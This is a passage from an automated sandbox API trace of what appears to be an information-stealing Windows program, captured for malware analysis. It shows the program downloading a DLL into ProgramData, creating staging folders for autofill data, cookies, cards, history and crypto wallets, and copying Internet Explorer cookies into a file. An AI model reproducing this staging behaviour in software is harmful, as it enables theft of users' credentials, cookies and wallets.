lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3645d20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3645d20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3646108, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3646108*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36464f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36464f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36468d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36468d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3646cc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3646cc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36470a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36470a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647490, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647490*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647878, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647878*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3647c60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3647c60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648048*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648430*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648818*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.773] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648c00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3648fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3648fe8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36493d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36493d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36497b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36497b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3649ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3649ba0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3649f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3649f88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364a370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364a370*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.774] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364a758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364a758*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ab40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ab40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364af28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364af28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364b310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364b310*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364b6f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364b6f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364bae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364bae0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.775] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364bec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364bec8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364c2b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364c2b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364c698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364c698*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ca80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ca80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364ce68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364ce68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364d250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364d250*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364d638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364d638*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.776] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364da20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364da20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364de08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364de08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e1f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e1f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e5d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e5d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364e9c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364e9c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364eda8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364eda8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f190*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.777] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f578*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364f960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364f960*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x364fd48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x364fd48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650130*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650518*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650900*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.778] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3650ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3650ce8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36510d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36510d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36514b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36514b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x36518a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x36518a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3651c88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3651c88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652070, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652070*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652458, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652458*, lpdwNumberOfBytesRead=0x19f5f0*=0x310) returned 1 [0096.779] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3652768, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3652768*, lpdwNumberOfBytesRead=0x19f5f0*=0x0) returned 1 [0096.783] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0 | out: lpBuffer=0x19f638, lpdwBufferLength=0x19f5f0, lpdwIndex=0x0) returned 0 [0096.783] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0096.783] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0096.784] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0096.784] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111068 | out: hHeap=0x2110000) returned 1 [0096.784] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.784] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111040 [0096.784] CreateFileA (lpFileName="C:\\ProgramData\\\\vcruntime140.dll" (normalized: "c:\\programdata\\vcruntime140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28 [0096.784] WriteFile (in: hFile=0x28, lpBuffer=0x363e020*, nNumberOfBytesToWrite=0x14748, lpNumberOfBytesWritten=0x19f7cc, lpOverlapped=0x0 | out: lpBuffer=0x363e020*, lpNumberOfBytesWritten=0x19f7cc*=0x14748, lpOverlapped=0x0) returned 1 [0096.786] CloseHandle (hObject=0x28) returned 1 [0096.788] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.788] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.788] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Autofill" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\autofill"), lpSecurityAttributes=0x0) returned 1 [0096.789] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.789] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.793] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Cookies" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies"), lpSecurityAttributes=0x0) returned 1 [0096.871] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.871] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.871] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\CC" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cc"), lpSecurityAttributes=0x0) returned 1 [0096.871] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.871] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.872] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\History" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\history"), lpSecurityAttributes=0x0) returned 1 [0096.872] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.872] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.872] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Downloads" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\downloads"), lpSecurityAttributes=0x0) returned 1 [0096.872] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.872] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2111040 [0096.872] CreateDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\Wallets" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\wallets"), lpSecurityAttributes=0x0) returned 1 [0096.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111040 [0096.876] SetCurrentDirectoryA (lpPathName="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213\\files\\" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files")) returned 1 [0096.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111040 [0096.876] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2111078 [0096.876] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111040 | out: hHeap=0x2110000) returned 1 [0096.895] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111040 [0096.906] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x21110b0 [0096.910] CreateFileA (lpFileName="passwords.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\passwords.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f504, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0097.103] GetFileType (hFile=0x2f8) returned 0x1 [0097.103] CloseHandle (hObject=0x2f8) returned 1 [0097.107] GetLastError () returned 0x0 [0097.107] SetLastError (dwErrCode=0x0) [0097.107] GetLastError () returned 0x0 [0097.107] SetLastError (dwErrCode=0x0) [0097.111] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21110d0 [0097.111] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x21111c0 [0097.111] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110d0 | out: hHeap=0x2110000) returned 1 [0097.111] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21110d0 [0097.111] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111218 [0097.115] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111270 [0097.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111270, cbMultiByte=74, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0097.119] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x94) returned 0x21112c8 [0097.119] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2111270, cbMultiByte=74, lpWideCharStr=0x21112c8, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt") returned 74 [0097.119] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xa0) returned 0x2111368 [0097.119] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112c8 | out: hHeap=0x2110000) returned 1 [0097.119] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*.txt", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x12, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x20, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x20000, ftLastWriteTime.dwHighDateTime=0x20e04, nFileSizeHigh=0x21104b6, nFileSizeLow=0x20e00, dwReserved0=0x19f3b8, dwReserved1=0x2000002, cFileName="⳰瞒\x82", cAlternateFileName="￿￿瘏\x0f")) returned 0xffffffff [0097.203] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111368 | out: hHeap=0x2110000) returned 1 [0097.207] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x1c) returned 0x21112c8 [0097.210] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x12, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x20, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x20000, ftLastWriteTime.dwHighDateTime=0x20e04, nFileSizeHigh=0x21104b6, nFileSizeLow=0x20e00, dwReserved0=0x19f3b8, dwReserved1=0x2000002, cFileName="⳰瞒\x82", cAlternateFileName="￿￿瘏\x0f")) returned 0 [0097.210] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111270 | out: hHeap=0x2110000) returned 1 [0097.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21110d0, cbMultiByte=23, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 23 [0097.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x2111270 [0097.210] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21110d0, cbMultiByte=23, lpWideCharStr=0x2111270, cchWideChar=23 | out: lpWideCharStr="Cookies\\IE_Cookies.txt") returned 23 [0097.210] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21112f0 [0097.210] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111270 | out: hHeap=0x2110000) returned 1 [0097.211] CreateFileW (lpFileName="Cookies\\IE_Cookies.txt" (normalized: "c:\\programdata\\2ydss64ut35ivnksmjzuyj213\\files\\cookies\\ie_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0097.212] GetFileType (hFile=0x2f8) returned 0x1 [0097.216] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0097.216] GetLastError () returned 0x83 [0097.216] GetLastError () returned 0x83 [0097.216] SetLastError (dwErrCode=0x83) [0097.216] GetLastError () returned 0x83 [0097.216] SetLastError (dwErrCode=0x83) [0097.217] GetLastError () returned 0x83 [0097.217] SetLastError (dwErrCode=0x83) [0097.217] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21112f0 | out: hHeap=0x2110000) returned 1 [0097.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="⳰瞒\x82", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0097.217] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110f8 [0097.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="⳰瞒\x82", cchWideChar=4, lpMultiByteStr=0x21110f8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="???", lpUsedDefaultChar=0x0) returned 4 [0097.217] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21110f8 | out: hHeap=0x2110000) returned 1 [0097.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x2111270 [0097.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x4) returned 0x21110f8 [0097.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x21112f0 [0097.221] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111060 [0097.262] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111060 | out: hHeap=0x2110000) returned 1 [0097.262] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111060 [0097.262] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x18) returned 0x2111318 [0097.262] GetLastError () returned 0x83 [0097.263] SetLastError (dwErrCode=0x83) [0097.263] GetLastError () returned 0x83 [0097.263] SetLastError (dwErrCode=0x83) [0097.267] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x2111338 [0097.276] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430048 [0097.276] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0097.276] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111418 [0097.276] GetLastError () returned 0x83 [0097.276] SetLastError (dwErrCode=0x83) [0097.276] GetLastError () returned 0x83 [0097.276] SetLastError (dwErrCode=0x83) [0097.276] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x3430048 [0097.276] GetLastError () returned 0x83 [0097.276] SetLastError (dwErrCode=0x83) [0097.277] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430128 [0097.277] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430128 | out: hHeap=0x2110000) returned 1 [0097.277] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111338 | out: hHeap=0x2110000) returned 1 [0097.277] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2) returned 0x2111428 [0097.277] GetLastError () returned 0x83 [0097.277] SetLastError (dwErrCode=0x83) [0097.277] GetLastError () returned 0x83 [0097.277] SetLastError (dwErrCode=0x83) [0097.277] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x200) returned 0x3430128 [0097.277] GetLastError () returned 0x83 [0097.277] SetLastError (dwErrCode=0x83) [0097.277] GetLastError () returned 0x83 [0097.277] SetLastError (dwErrCode=0x83) [0097.277] GetLastError () returned 0x83 [0097.277] SetLastError (dwErrCode=0x83) [0097.277] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0xd8) returned 0x2111338 [0097.278] GetLastError () returned 0x83 [0097.278] SetLastError (dwErrCode=0x83) [0097.278] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x355) returned 0x3430330 [0097.278] HeapFree (in: hHeap=0x2110000, 